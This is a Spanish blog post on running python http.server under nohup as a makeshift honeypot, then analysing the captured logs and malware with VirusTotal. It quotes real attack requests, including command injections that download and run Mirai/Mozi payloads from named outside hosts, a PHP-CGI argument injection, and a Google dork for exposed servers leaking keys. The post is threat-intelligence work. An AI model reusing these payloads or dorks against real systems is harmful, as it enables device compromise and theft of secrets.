Honeypot en dos click

analisis con VirusTotal

@nuria_imeq
9 min readDec 27, 2022

Creo que ya sabemos lo que es una honeypot. Para los que no lo sepan, son servidores con servicios trampa para capturar tráfico de los malosmalotes. Dejas abiertos ciertos servicios vulnerables, o no, para que los malos intenten acceder a ellos. Si no conocéis ninguna os dejo una T-Pot https://www.honeynet.org/projects/active/t-pot/

Ya sabemos lo que es una honeypot, ahora otra pregunta ¿sabéis que podéis lanzar un servicio web mediante línea de comando con un módulo de python? Yo lo suelo usar para copiar ficheros desde un servidor a otro, me resulta más rápido y sencillo. El comando sería:

# python -m http.server PORT

donde PORT es el puerto donde quieres ejecutarlo.

Venga otra pregunta, ¿sabéis que es el fichero nohup.out? En Linux existe el comando nohup que se usa para lanzar procesos y, aunque se cierre la sesión, éstos siguen ejecutándose.

Os estaréis preguntando que para qué he contado todo este rollo, dadme un minuto.

Si lanzamos un servidor http desde línea de comando con nohup, esto genera un fichero de salida llamado nohup.out.

# nohup python3 -m http.server PORT 

Tuve curiosidad y busqué en Shodan, Google y CriminalIP ese fichero y encontré unas cuantas referencias.

Google Dorks “index.of /” nohup.out con un gran número de resultados. Podéis jugar un rato.

En Shodan y CriminalIP obtuve muchos menos y algunos más en Censys.

Shodan
CriminalIP

De los 138 resultados identificado es el dominio US, 71 corresponden a productos python, este porcentaje es muy elevado. Tenemos un problema de configuración de aplicaciones escritas en python que ejecutan servicios web.

Mirando algunas de las IPs encontradas di con información sensible expuesta libremente. Desde volcados de base de datos, claves privadas de certificados, credenciales, etc. Os dejo unas imágenes para abriros la curiosidad e investiguéis por vuestra cuenta.

El motivo de este artículo no es la mala configuración de esos servidores, ni de la accesibilidad a la información, el artículo se centra en el análisis del fichero nohup.out. En este fichero se guardarán todas las conexiones que se realicen al puerto del servidor http que has lanzado, es como el fichero de log de un servidor Apache o Nginx. En la imagen de abajo podéis ver un fichero con fecha inicio 2015 y hasta hoy.

Echando un vistazo por el fichero pude comprobar conexiones de procesos automatizados por los ciberdelincuentes para explotar vulnerabilidades. Realicé una búsqueda de la cadena wget en buscando posibles payloads.

Este payload es uno de los usados en las botnets de Mirai. Como podéis comprobar esta botnet lleva conviviendo con nosotros desde hace mucho tiempo y para nuestra desgracia no tiene intención de morir. La imagen de abajo muestra el intento de explotación de una vulnerabilidad de los dispotisivos netgear y otros registros muestran intento de descargas del malware.

Como ya me conocéis, no paro de pensar … cosas, así que pensé en poner mi “especial honeypot”, ya sabéis que soy un poco vaga. Lancé unos cuantos servidores http en python en unos cuantos puertos, los normales: 80, 8080, 8000… No pasaron ni 24 horas cuando ya tenía conexiones de todo tipo, desde motores de búsqueda, empresas de ciberseguridad buscando a los malosmalotes y malosmalotes buscando vulnerabilidades.

Desde el 11 de diciembre hasta la fecha de éste articulo, dos semanas después, obtuve unas 300 direcciones IPs susceptibles de ser bloqueadas y unas 100 URLs. Todos ellos indicadores de compromiso que debemos tener en cuenta. Las urls indican qué ataques se están realizando actualmente.

Primero me centro en las conexiones POST, os dejo algunos ejemplos de conexión. Básicamente son intentos de explotar alguna vulnerabilidad conocida. Os dejo algunas URLs de los ataques.

"POST /Autodiscover/Autodiscover.xml HTTP/1.1"
"POST /axis2/axis2-admin/login HTTP/1.1"
"POST /boaform/admin/formLogin HTTP/1.1"
"POST /cacti2/graph_realtime.php?action=init HTTP/1.1"
"POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1"
"POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1"
"POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1"
"POST /GponForm/diag_Form?images/ HTTP/1.1"
"POST /mifs/.;/services/LogService HTTP/1.1"
"POST /scripts/WPnBr.dll HTTP/1.1"
"POST /sdk HTTP/1.1"
"POST /tmUnblock.cgi HTTP/1.1"
"POST /.env.project HTTP/1.1"
"POST /.env.save HTTP/1.1"
"POST /apps/.env HTTP/1.1"
"POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"
"POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1"

Ahora miramos las conexiones GET, esas también son interesantes dado que intentan explotar una vulnerabilidad y lanzan un payload contra el servidor. Os dejo algunas conexiones curioras.

[12/Dec/2022 19:17:25] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 -
[15/Dec/2022 10:51:21] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 -
[16/Dec/2022 18:00:35] code 400, message Bad request syntax ('GET /shell?cd+/tmp;rm+-rf+*;wget+ neverwinwlaq.xyz/jaws;sh+/tmp/jaws HTTP/1.1')
[16/Dec/2022 18:00:35] "GET /shell?cd+/tmp;rm+-rf+*;wget+ neverwinwlaq.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 400 -
[17/Dec/2022 04:06:12] "GET /catalog-portal/ui/oauth/verify?error=&deviceUdid%3D%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F195.178.120.130%2Fohshit.sh%3B%20chmod%20777%20ohshit.sh%3B%20sh%20ohshit.sh%22%29%7D HTTP/1.1" 404 -
[17/Dec/2022 07:39:30] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 -
[17/Dec/2022 21:08:05] "GET /shell?cd+/tmp;rm+-rf+*;wget+194.180.48.22/lol.sh;sh+/tmp/lol.sh HTTP/1.1" 404 -
[19/Dec/2022 04:43:44] code 400, message Bad HTTP/0.9 request type ('27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$')
[19/Dec/2022 04:43:44] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 -
[20/Dec/2022 13:57:23] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 -
[20/Dec/2022 03:35:08] "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://39.74.230.182:56725/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron HTTP/1.0" 404 -
124.230.43.65 - - [21/Dec/2022 06:56:22] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 -
[20/Dec/2022 17:20:13] code 400, message Bad HTTP/0.9 request type ('27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$')
[20/Dec/2022 17:20:13] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 -
[22/Dec/2022 08:01:24] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://163.123.143.126/x.sh;${IFS}sh${IFS}x.sh;" 404 -
[23/Dec/2022 05:16:43] "GET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/45.195.69.113/System_file_4856;chmod+777+System_file_4856;./System_file_4856;wget+http:/\/45.195.69.113/System_file_6856;chmod+777+System_file_6856;./System_file_6856 HTTP/1.1" 404 -
[24/Dec/2022 00:03:47] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://110.183.53.77:59760/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 -
[24/Dec/2022 05:25:51] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 -

En las imágenes de abajo podéis comprobar intento de carga hacía los dispositivos netgear y la otra es una descarga del fichero Mozi.a identificado con Mirai, ésta última IP lleva desde junio distribuyendo este malware y nadie la para …

Ya nos tenemos unos cuantos indicadores de compromiso sin necesitdad de instalar una honeypot, OJO! no pretendo comparar esto con una honeypot. Las honey son algo más que el servicio http, como os he contado son trampas para una gran cantidad de servicios y además, que es lo más interesante, permiten hacer ingesta en base de datos documentales.

Siempre que veo un intento de carga de payload analizo la conexión que se intenta hacer, en este caso me encontré con la siguiente información.

GET 
/shell?cd+/tmp;
rm+arm+arm7;
wget+http:/\/45.195.69.113/System_file_4856;
chmod+777+System_file_4856

Inmediatamente realicé una conexión hacia ese servidor encontrándome con un servidor que estaba distribuyendo dropper para DDoS y Mirai. Siempre fijaros en las fechas. Cuando lo descubrí no estaban los ficheros relativos al día 24 de diciembre, sí no tengo otra cosa mejor que hacer el días 24 de diciembre.

Os dejo dos imágenes que cuya IPs tienen geolocalización diferente pero prácticamente distribuyen el mismo malware.

GeoIP Country Edition: HK, Hong Kong
GeoIP Country Edition: US, United States
Fichero System_file_6856 de IP de Hong Kong

Busco en CriminalIP y Shodan información sobre HttpFileServer, HFS, curioso los resultados, una pequeña diferencia entre ambos 😅.

Http File Server (HFS) es un servidor para compartir ficheros, ya no hace falta explicar más.

Comienzo a realizar búsquedas más concretas, ¿por país? maybe! Debo tener mucha suerte cazando porque con el primero ya me tocó la lotería. Nota para Nuria, quizá debas jugar a la lotería.

Primero fijaros en las fechas de los ficheros. Vemos ficheros del año pasado y de este, ficheros de claves privadas con fecha actual, muy tentador todo 😎

Analizo el primer fichero, 3snake

Algo de discrepancia hay entre JoeSandbox y VirusTotal pero si nos fijamos en la matriz de Mitre ya indica que algo bueno no hace.

Sigo analizando los ficheros encontrados.

3snake: se trata de un trojano identificado por 9 motores de búsqueda.

cve-2021–4034-poc : está claro, se trata del exploit a la vulnerabilidad de pkexec, la cual permite a cualquier usuario ser root, escalada de privilegios. Según VirusTotal las IPs implicadas son: 185.125.188.55 y 185.125.190.27 ambas coinciden con el fichero anterior.

id_rsa y sshkey-139.zip : claves privadas 😎

ip: en principio tanto VirusTotal indica que no es malicioso pero si vamos al resumen del informe, ya la matriz de Mitre indica que usa el comando “rm”, usado en Linux para borrar ficheros, crea ficheros ocultos y sobre todo tiene conexión con el dominio www[.]mlcros0ftxt.com, fichero dropper “/etc/.uuid”. Es importante ver todo el informe que aportan las sanbox en sus análisis, muchas veces la máquina no ve lo que puede captar claramente la inteligencia humana.

java: Tanto éste fichero como el anterior, usan las mismas técnicas y tácticas además comparten una misma ip de conexión.

udevip: Es similar a los dos anteriores.

Vamos a analizar las conexiones en el gráfico.

El dominio alemán corresponde a Github. No es la primera vez que los actores maliciosos usan Github como repositorio de descarga de malware. Vamos a expandir ese nodo de IP junto con el resto de nodos de IPs para ver qué información nos puede aportar, si existe alguna relación con nuestra investigación.

Es cierto que es una maraña de nodos entrelazados, he borrado muchos nodos para hacer la visión más limpia. Lo primero que aquellos ficheros que no eran clasificados como malignos, por un lado la matriz de Mitre indicaba que realizaban tácticas y técnicas sospechosas y por otro lado el gráfico nos indica que realizan conexiones a IPs las cuales están implicadas, todas ellas en distribución de malware. Por lo tanto podemos concluir y casi asegurar que esos ficheros son maliciosos.

Podemos seguir investigando con otras IPs accesibles, pero eso ya os lo dejo a vosotr@s.

Recomendación, la herramienta gráfica de VirusTotal es una herramienta muy potente. Os recomiendo el taller que realizó Gerardo Fernández Navarrete y Sara Ouled Hrour Bousseksou en las últimas Jornadas del CCN-CERT en Madrid Advanced Threat Hunting with VirusTotal para aprender más sobre esta herramienta.

Conclusiones

¿Qué conclusiones podemos sacar? Buena pregunta. Es cierto que para realizar una buena caza es necesario montar una buena infraestructura de honeypot, con este articulo simplemente quería aportar que con un golpe de tecla podemos obtener gran cantidad de indicadores de compromiso, IOCs y a partir de éstos más. Este proceso no es automático por lo que no sirve de mucho. En cualquier caza lo fundamental es automatizar los procesos para evitar la mano humana salvo cuando sea necesario.

He hablado de indicadores de compromiso, las “Joyas de la Corona”. Los indicadores de compromiso son el diamente de la ciberseguridad. Sinceramente, creo y no me gusta que se haga negocio de estos, bueno tampoco me gusta que se haga negocio de la cibeseguridad pero este es un tema de otro foro. Los IOCs cuanto antes sean conocidos y compartidos mejor será para todos. Compartir inteligencia es fundamental para para a los ciberdelincuentes, si no lo hacemos ellos seguirán ganando por goleada.

Espero que os haya gustado.

©2022 Nuria Prieto @nuria_imeq
Algunos derechos reservados.
Este documento se distribuye bajo la licencia “Reconocimiento-CompartirIgual 3.0 España” de Creative Commons, disponible en https://creativecommons.org/licenses/by-sa/3.0/es/

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

@nuria_imeq
@nuria_imeq

No responses yet

Write a response